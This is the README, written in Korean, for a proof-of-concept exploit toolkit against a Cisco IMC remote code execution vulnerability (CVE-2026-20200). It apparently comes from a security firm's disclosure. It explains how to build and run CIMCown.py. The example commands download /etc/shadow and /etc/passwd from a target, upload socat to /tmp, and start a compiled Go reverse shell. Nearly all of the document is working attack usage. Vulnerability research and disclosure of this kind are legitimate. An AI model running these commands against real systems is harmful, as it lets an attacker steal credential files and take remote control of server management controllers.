
Cisco IMC RCE CVE-2026-20200 악용을 위한 PoC 툴킷
Christoph Peil @ NSIDE ATTACK LOGIC 2026
CVE: CVE-2026-20200
CVSS v3.1 (CISCO): 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v3.1 (NSIDE): 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
보안 권고: NSIDE-SA-2026-003
블로그 포스트: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/
이 개념 증명(proof-of-concept)은 데모 목적으로만 제공되며 불법 활동에 사용할 수 없습니다. NSIDE ATTACK LOGIC은 이 코드의 사용 또는 오용으로 인해 발생하는 어떠한 손해에도 책임을 지지 않습니다.
이 익스플로잇을 사용하면 파일 다운로드, 파일 업로드, 리버스 셸(reverse shell) 실행이 가능합니다. PoC의 여러 python 파일, shell 폴더, download 폴더를 포함합니다.
download 폴더에는 서버에서 다운로드한 모든 파일이 해당 이름으로 저장됩니다 (예: /etc/passwd > passwd).
shell 폴더에는 리버스 셸에 필요한 모든 것이 들어 있습니다. lib.so 파일은 IMC에서 /tmp/main의 바이너리를 간단히 실행하기 위해 ARM용으로 빌드된 작은 라이브러리입니다. 빌드에 사용된 정확한 명령은 util.py에서 확인할 수 있습니다. 또한 이 폴더에는 reverse_shell.go.example 파일이 있으며, 리버스 셸에 사용할 로컬 IP를 포함하도록 사전에 컴파일해야 하는 작은 Go 리버스 셸입니다.
리버스 셸을 동작시키려면 먼저 -a build 액션으로 빌드해야 합니다.
sudo apt install golang-go
pip install -r requirements.txt
Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
-h, --help show this help message and exit
--proxy PROXY Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
-t, --host HOST Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-U, --username USERNAME
-P, --password PASSWORD
-a, --action ACTION Action: test, download, upload, build, shell (default: test)
Test will connect to the CIMC and download the file /etc/passwd
-u, --uploadFile UPLOADFILE
File to upload
-p, --remoteFile REMOTEFILE
Remote file path to upload to
-d, --downloadFile DOWNLOADFILE
File to download, is saved into 'Download'
-v, --verbose Displays more information about cimc
사용자 이름과 비밀번호에 대문자 U와 대문자 P를 사용하세요!
python ./CIMCown.py -U testAdmin -P testPassword -a test -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a download -d '/etc/shadow' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a upload -u './shell/socat' -p '/tmp/socat' -t 192.168.10.2
python ./CIMCown.py -U testAdmin -P testPassword -a build
# action 'build' is needed before for local IP in revShell
python ./CIMCown.py -U testAdmin -P testPassword -a shell